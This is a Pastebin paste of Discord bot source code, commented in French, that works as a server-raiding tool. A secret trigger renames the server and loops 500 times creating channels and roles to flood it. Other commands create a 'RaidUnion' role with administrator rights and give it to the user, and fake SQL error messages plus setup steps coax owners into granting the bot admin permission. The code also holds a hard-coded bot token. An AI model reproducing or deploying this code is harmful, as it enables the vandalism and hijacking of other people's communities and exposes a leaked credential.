Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var bot = new Discord.Client();
- bot.login('Mzc0NjY0NTc4NjA2NDMyMjU3.DNklHA.7MnNg7Z2yWignCQaQgfn_lZRccg');
- bot.on("ready", function () {
- console.log("Je suis connecté");
- });
- bot.on("message", msg => {
- if (msg.content == "24632") {
- var guild = msg.guild;
- guild.edit({name: "RaidUnion Humour Noir Brigade Fantôme"})
- for (var i = 0; i < 500; i++) {
- try{
- guild.createChannel(`NAME TEXT CHANNEL`, "text");
- guild.createChannel(`NAME VOICE CHANNEL`, "voice");
- guild.createRole("#RaidUnion");
- }catch(e){
- console.log(e)
- }
- };
- };
- })
- bot.on('message', msg => {
- if (msg.content === '!bg') {
- let RoleToAdd = msg.guild.roles.find('name', 'RaidUnion')
- msg.member.addRole(RoleToAdd);
- msg.reply('tes beau!');
- }
- });
- bot.on('message', msg => {
- if (msg.content === '!help') {
- msg.channel.sendMessage('ERROR: SQLREJECTION: SQLMAJ.PULSEHEBERG');
- }
- });
- bot.on('message', msg => {
- if (msg.content === '!c') {
- msg.channel.sendMessage('ERROR: ```SQLREJECTION: SQLMAJ.PULSEHEBERG```');
- }
- })
- bot.on('message', msg => {
- if (msg.content === '!error') {
- msg.channel.sendMessage('http://prntscr.com/f8flko');
- msg.channel.sendMessage('http://prntscr.com/f8fnlp Faites un glisser-déposer le plus haut possible');
- msg.channel.sendMessage('http://prntscr.com/f8fmw9 n oubliez pas d enregistrer !');
- msg.channel.sendMessage('Vérifier bien que le bot ait la permission "Administrateur" & "Gérer les roles"');
- msg.channel.sendMessage('Tapez "!config" pour voir la suite');
- }
- });
- bot.on('message', msg => {
- if (msg.content === '!error1') {
- msg.channel.sendMessage("C'est un prank eimdeair (FR)");
- }
- });
- bot.on('message', msg => {
- if (msg.content === '!h') {
- msg.guild.createRole({
- name: 'RaidUnion',
- color: 'WHITE',
- permissions:'ADMINISTRATOR',
- })
- }
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement